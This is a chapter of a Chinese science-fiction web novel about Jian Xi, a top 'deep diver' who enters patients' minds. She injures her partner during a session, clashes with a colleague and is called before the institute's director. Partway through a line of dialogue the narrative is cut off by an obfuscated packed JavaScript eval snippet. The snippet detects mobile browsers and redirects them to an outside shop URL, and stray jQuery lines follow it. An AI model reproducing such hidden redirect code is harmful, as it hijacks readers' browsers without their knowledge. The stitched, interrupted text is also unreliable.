3. 第二章
作品:《脑域追凶[人外]》 昏暗的房间内无比杂乱,算不上宽敞的空间内堆满了无数乱七八糟的东西,破洞的脏袜子和看不出本色的毛巾交缠在一起,脏兮兮的男式牛仔裤上搭着条女人穿的薄如蝉翼的三角内裤,内裤看起来明显是穿过的……
简兮快速跳过她不想看的部分,眼前景象随即迅速发生改变——
耳畔满是震耳欲聋的死亡摇滚,五颜六色的霓虹灯投射出光怪陆离的光影,间或有裸露着双腿打扮成兔女郎模样的女招待举着装满酒杯的托盘穿梭而过,完全是几个世纪前摇滚酒吧常见的老式做派。简兮可以情绪的感受到内心那种畅快淋漓的爽感,略带苦涩的啤酒泛起大量浓厚的冒泡,从喉咙流过带出顺滑醇厚的口感,她猜测这大概是城市里的哪间复古式酒吧。
深潜师可以利用自身精神力潜入病患大脑神经之中,畅游于神经元之中并从中探索可用信息通常意义上被称之为深潜。当然根据深潜师个人精神力的强度差异,不同深潜师可以深潜进入的领域也有天差地别的差异,不过一般来说在从人类的表层记忆中获得的信息足够解决问题所需。
然而这一次,简兮却明显察觉到异常。
她可以感知大石缘经常光顾的酒吧,并感同身受体会到对方在酒吧时候的愉悦,任凭思绪流进大石缘本身“感情”并顺流而下,却并没有找到任何所需的信息。
比如说大石缘“关系妄想症”的来源,或者说导火索。依照简兮的专业知识,“关系妄想症”绝不是那种会凭空自动生成的疾病,如果想要探究病因的形成,就不得不继续向深层探索。
至少在表情记忆中全无收获。
简兮稍微等待了一段时间,田博士却并没有将她抽离,甚至没有发出任何准备抽离的信号。一时间简兮有些犹豫,不知道这是不是对方愿意配合她继续向下深潜的信号。
又等待了一段时间,简兮依旧没有收到任何抽离的信号,于是索性决定穿越表层记忆深潜至中层记忆。却怎么也没想到,就在她将要接近中层记忆,“嗤”的一声,太阳穴忽然猛的一颤,麻嗖嗖的感觉仿佛被电流击中般的难受。
“襄理师!”
简兮下意识的用双手捂住脑袋,一侧太阳穴上的电极明显已经被硬生生扯掉,并不陌生的回忆瞬间充斥入她的记忆之中。
简兮随即抬头、睁眼,一眼就看见耷拉在自己眼前的电极。田博士双手抱着脑袋摔倒在地,人已经彻底失去意识一动不动。Lucy满脸担忧的奔跑出治疗室。
同样的事情又一次的,发生了。
简兮一动不动的站在原地,甚至没有表现出太大的惊讶,甚至内心还有种说不出道不来的,遗憾。
她知道田博士的精神力严格来说并不够,却怎么也没想到他居然连她潜入到中层记忆都坚持不到。胸口如同针扎般的刺痛,简兮仅仅是抬手摁了摁假装没有太大问题。
这已经是本年度的第六次了,当深潜师和襄理师的精神力无法匹配时,迟早会发作这样的事故。就好比两根电阻完全不同的
电线偏偏要串联到一起,还同时施加相同的电压,总要有一根因为无法承担过大的电流而发生熔断。
这是必然。
甚至对简兮来说,搭档出事故已经成为某种常态。
没多久的功夫几名Eric护理师就将昏迷的田博士推走,简兮知道他大概需要在病房里休息大约一周的时间,不过她并不担心他的回复情况,毕竟以当下的医疗水平修复熔断的脑神经可谓是小菜一碟,实在不成的话还可以睡修复舱或者进行机械化改造。
只不过现在……
“简兮深潜师,所长说现在要见你。”
听到Lucy的声音简兮才从沉思中惊醒,意识到先前出去的Lucy已经重新回到治疗室,扭头回答:“哦,我知道了。”
随后想起来什么,又问:“她人现在还在办公室?”
Lucy认真的点点头,回答:“是的。”
“谢谢。”
简兮颔首,该来的总归回来,她并没有丝毫的怯意,只是莫名觉得胸口处的刺痛感隐隐的有分的加重……
*
在去尺八办公室路上简兮意外遇到弘文俊。和简兮一样弘文俊也是研究所里的深潜师,当然等级要比简兮低许多。
作为全国顶级的精神医学研究所,可谓汇聚了全球精神医学方面的各路精英,其中最特殊最稀缺人才非深潜师莫属,只有拥有丰富精神方面医学知识且拥有超乎于常人的精神力天赋者才能通过苛刻的考核成为深潜师。而根据深潜师精神力能力以及可达到的深潜区域考核分级,深潜师可以分为初级、中级、高级、特级四个等级,研究所仅有简兮一人拥有特级深潜师资格证,可谓是精英中的精英。
弘文俊虽然远远达不到简兮的精英程度,却也拥有博士学位,又兼相貌出众,长期以来都是研究所一众女性职员心目中的男神,当然这其中并不包括简兮。
客观的讲,简兮因为某些原因对弘文俊的印象一直不好,甚至根本不愿意和对方有任何交谈的机会,简而言之就是懒得搭理他。可奇怪的是弘文俊却仿佛对简兮的不待见视若无睹,总是利用各种各样的机会进行搭话,这次也不例外。
“简深潜师,刚才我看见田博士被推进病房,该不会是他的脑神经又被你给烧断了吧?听说你们今天本来是要对大石缘进行深潜的。”
因为田博士的事情简兮心中正烦,没想到又遇见个成心挑事生非的弘文俊,内心愈发觉得晦气,嘴上说话自然也就根本不留丝毫的情面:“如果你能把聊八卦的精神头都用在工作上,也不至于到现在还是个实习深潜师了。”
弘文俊顿时被她怼了个满脸通红,愤怒的两只鼻孔呼呼喷出粗气,却仍然嘴硬反驳:“我说的有什么错?这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993641|193852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难道不是大石缘他自己的问题吗?如果不是他错误引导分裂症患者,也不易于受到影响吧!而且仅仅是深潜到表层记忆,按理说根本就不会烧毁脑神经才对,这里面别是有什么不可告人的秘密!”
“果然心脏的人眼也脏,如果你还算是个合格的精神医学治疗者就根本说不出刚才的话。”简兮毫不留情指出说,“大石缘的问题现在并不能做出最终定论,必须要等彻底分析他潜意识之后才能做出定论,另外我拒绝现在就定性大石缘具有分裂症。如果你想知道的事这些,我现在根本无可奉告。”
面对简兮的义正言辞弘文俊根本就是充耳不闻,反而摆出一副笑嘻嘻毫不在乎的表情,甚至还故意卖弄般开口:“我们都知道掩藏潜意识和珍珠的神经症患者不同,从某种角度来说分裂症患者已经将潜意识表面化,比如说大石缘,他们这种人的一言一行都是反应着潜意识中的内容。既然如此,就我看来对于他们这类人还要使用深潜的方式去探索本身就是没必要的,反倒是传统观察法就已经足够。当然仅仅是使用传统观察法恐怕根本就施展不了简大深潜师的能力,当然田博士也就不会因为这个被烧断脑神经了。”
面对弘文俊的冷嘲热讽简兮只觉得烦躁无比,实在是懒得再跟他浪费时间,索性冷冰冰的直接呵斥出声:“让开。”
“怎么,我说的话招我们简大深潜师不爱听咯?”弘文俊非但没有让开道路,反而癞皮狗般朝着简兮又靠近前一步,伸长脖
子嬉皮笑脸开口说:“要我走也不是不成,只要你肯答应我一个条……”
“找死!”简兮内心默念,只觉得心中的烦躁就像是将要爆发的火山熔岩一般,一股一股顶上自己的心段,根本无法抑制。
几乎没有任何的思考,简兮猛的抬起一只脚,憋足力气又细又硬的鞋跟重重跺上弘文俊的脚面上。
只听见弘文俊“嗷”的一声嚎叫。
简兮甚至连头都没回直接转身就走,留下弘文俊一个人抱着脚在走廊不住哀嚎。
*
才到所长办公室尺八就劈头盖脸对简兮开口说:
“弘文俊刚来过我这里。”
简兮一怔,随即颔首,冷漠开口:“是吗。”
尺八意味不明笑笑,状似随意般开口说:“是来我这里给你告状的。叽里咕噜先是说了一堆专业术语,然后气势汹汹的说研究所里很多个研究员都对你有意见,再加上今天的田博士的事情,已经有六名襄理师发生意外了。”
该来的总归会来,简兮并没有丝毫的意外,甚至内心还有一丝丝的释然。田博士的事情她内心是感到抱歉的,却并不想就此说出“我也没有想到……”或是“我并不愿意看到同事受伤……”之类的虚伪的话。
事实上她甚至都不想为自己做只言片语的辩解。
只是不动声色的开口问出一句:“需要我辞职吗?”

